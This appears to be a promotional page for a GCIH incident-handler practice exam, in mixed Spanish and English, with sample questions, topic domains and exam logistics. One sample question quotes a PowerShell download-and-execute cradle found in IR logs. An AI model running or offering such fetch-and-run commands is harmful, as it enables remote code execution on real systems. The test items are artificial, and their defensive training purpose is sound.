GCIH - GIAC Certified Incident Handler Practice Test

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Descripción y detalles del examen

The GIAC Certified Incident Handler (GCIH) certification validates a professional's ability to detect, respond to, and contain cybersecurity incidents effectively. This practice test is meticulously designed to mirror the rigor and scope of the official GCIH exam, covering the core domains of the GIAC Incident Handling and Response Process. Candidates will be tested on their practical knowledge of exploitation and post-exploitation techniques, including common attack vectors and adversary tactics. The test also delves into critical areas such as malware analysis and defense, where you must demonstrate proficiency in identifying malicious code and implementing protective measures. Scanning and reconnaissance methodologies are covered to ensure you can recognize the early stages of an attack, while web application attacks focus on the most prevalent vulnerabilities like SQL injection and cross-site scripting. Achieving the GCIH certification is a powerful career accelerator, signaling to employers that you possess the hands-on skills necessary to manage the full lifecycle of an incident-from preparation and identification through containment, eradication, and recovery. This practice test serves as a definitive benchmark, helping you identify knowledge gaps and build the confidence required to pass the exam on your first attempt, ultimately positioning you as a trusted expert in incident response and cybersecurity operations.

Preguntas de Muestra

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Domain 3: Network-Based Attacks

Ettercap is primarily used for which class of attack?

Domain 7: Malware Analysis Basics

An IR team discovers PowerShell logs containing iex (New-Object Net.WebClient).DownloadString('http://...'). What technique is the adversary using?

Domain 3: Network-Based Attacks

Which protocol does the Aircrack-ng suite most commonly target for offline cryptographic attacks?

Domain 1: Incident Handling Process

What is the PRIMARY purpose of a war room during a major incident?

Domain 6: Lateral Movement

Pass-the-Hash (PtH) authenticates to a remote Windows host using which credential material?

Oportunidades profesionales y salario

Salario medio: $129,180mercado de EE. UU.– Information Security Analysts

Fuente: BLS Occupational Employment and Wage Statistics, May 2025 -- Information Security Analysts (SOC 15-1212), US national. Occupation median, not a certification salary. (2025)

Information Security Analysts

Los rangos son cifras del mercado de EE. UU. salvo que se muestre un rango local.

Qué temas cubre este examen

01Attacking Passwords

Temas

  • Demonstrate a detailed understanding of how to conduct password attacks

Objetivos de aprendizaje

  • Demonstrate a detailed understanding of how to conduct password attacks

02Detecting Evasive and Post-Exploitation Techniques

Temas

  • Identify and defend against an attacker already in an environment, discover methods used to establish persistence, hide their presence, and achieve actions on objectives

Objetivos de aprendizaje

  • Identify and defend against an attacker already in an environment, discover methods used to establish persistence, hide their presence, and achieve actions on objectives

03Detecting Exploitation and Covert Communications Tools

Temas

  • Demonstrate an understanding of how to identify and defend against the use of exploitation tools such as Metasploit and covert communications tools such as netcat

Objetivos de aprendizaje

  • Demonstrate an understanding of how to identify and defend against the use of exploitation tools such as Metasploit and covert communications tools such as netcat

04Endpoint Attack and Pivoting

Temas

  • Demonstrate an understanding of how to identify and defend against endpoint specific attacks and pivoting in an environment

Objetivos de aprendizaje

  • Demonstrate an understanding of how to identify and defend against endpoint specific attacks and pivoting in an environment

05Exploiting Insecure Web Application References

Temas

  • Demonstrate an understanding of common methods for exploiting insecure web application references

Objetivos de aprendizaje

  • Demonstrate an understanding of common methods for exploiting insecure web application references

06Incident Response and Cyber Investigation

Temas

  • Demonstrate an understanding of the PICERL and DAIR incident handling processes and incident response challenges

Objetivos de aprendizaje

  • Demonstrate an understanding of the PICERL and DAIR incident handling processes and incident response challenges

07Integrating LLMs with Offensive Operations

Temas

  • Demonstrate an understanding of LLM prompt processing, risks, common attack methods, and defend against AI specific attacks in modern environments

Objetivos de aprendizaje

  • Demonstrate an understanding of LLM prompt processing, risks, common attack methods, and defend against AI specific attacks in modern environments

08Malware and AI Assisted Investigations

Temas

  • Demonstrate an understanding of the steps necessary to perform basic malware analysis and understand how AI can be used to augment investigative efforts

Objetivos de aprendizaje

  • Demonstrate an understanding of the steps necessary to perform basic malware analysis and understand how AI can be used to augment investigative efforts

09Network and Log Investigations

Temas

  • Demonstrate an understanding of the steps necessary to perform effective investigations of network and log data

Objetivos de aprendizaje

  • Demonstrate an understanding of the steps necessary to perform effective investigations of network and log data

10Scanning and Mapping

Temas

  • Demonstrate an understanding of how to discover and map networks and hosts, reveal services and vulnerabilities, and identify and defend against scanning

Objetivos de aprendizaje

  • Demonstrate an understanding of how to discover and map networks and hosts, reveal services and vulnerabilities, and identify and defend against scanning

11Securing Credentials and Data in the Cloud

Temas

  • Demonstrate an understanding of how to identify, defend against, and mitigate password attacks and insecure storage in cloud-based environments

Objetivos de aprendizaje

  • Demonstrate an understanding of how to identify, defend against, and mitigate password attacks and insecure storage in cloud-based environments

12SMB Security

Temas

  • Demonstrate an understanding of SMB features, vulnerabilities, how to discover and access shares, and how to secure the service

Objetivos de aprendizaje

  • Demonstrate an understanding of SMB features, vulnerabilities, how to discover and access shares, and how to secure the service

13Understanding Passwords

Temas

  • Identify password hashes, understand password weaknesses, and secure passwords

Objetivos de aprendizaje

  • Identify password hashes, understand password weaknesses, and secure passwords

14Web Application API Attacks

Temas

  • Demonstrate the basics of interacting with and abusing access to web APIs

Objetivos de aprendizaje

  • Demonstrate the basics of interacting with and abusing access to web APIs

15Web Application Injection Attacks

Temas

  • Demonstrate an understanding of common web application injection attacks

Objetivos de aprendizaje

  • Demonstrate an understanding of common web application injection attacks

Detalles del Examen GCIH | $949 USD | 4 horas

Código del Examen GCIH
Proveedor GIAC
Costo del Examen $949 USD
Puntaje Mínimo 73
Límite de Tiempo 4 horas
Preguntas del examen 106
Tipos de Preguntas Opción múltiple (100%)
Política de Repetición Two free practice tests are included with each exam registration. Candidates have a 4-month window to take the exam after registration. Retake fees apply after the first failed attempt. Contact GIAC for specific retake waiting periods.
Formato del Examen Multiple Choice
Supervisión en Línea Disponible
Reglas del examen Open-book exam. Physical and electronic notes are permitted — building a comprehensive index is a key preparation strategy. No internet access during the exam except to pre-loaded approved materials. Proctored at Pearson VUE centers or online via ProctorU. Candidates have a 4-month window to schedule and take the exam after registration.

Preguntas Frecuentes

¿Cuál es la principal diferencia entre el GCIH y otras certificaciones de GIAC como el GSEC o GPEN?

¿Cuánta experiencia práctica se recomienda antes de intentar el examen GCIH?

¿La certificación GCIH expira y cómo la mantengo?

¿Cuáles son los temas más comunes evaluados en el dominio de 'Explotación y Post-Explotación'?

¿Cómo evalúa el examen GCIH el 'Proceso de Manejo y Respuesta a Incidentes'?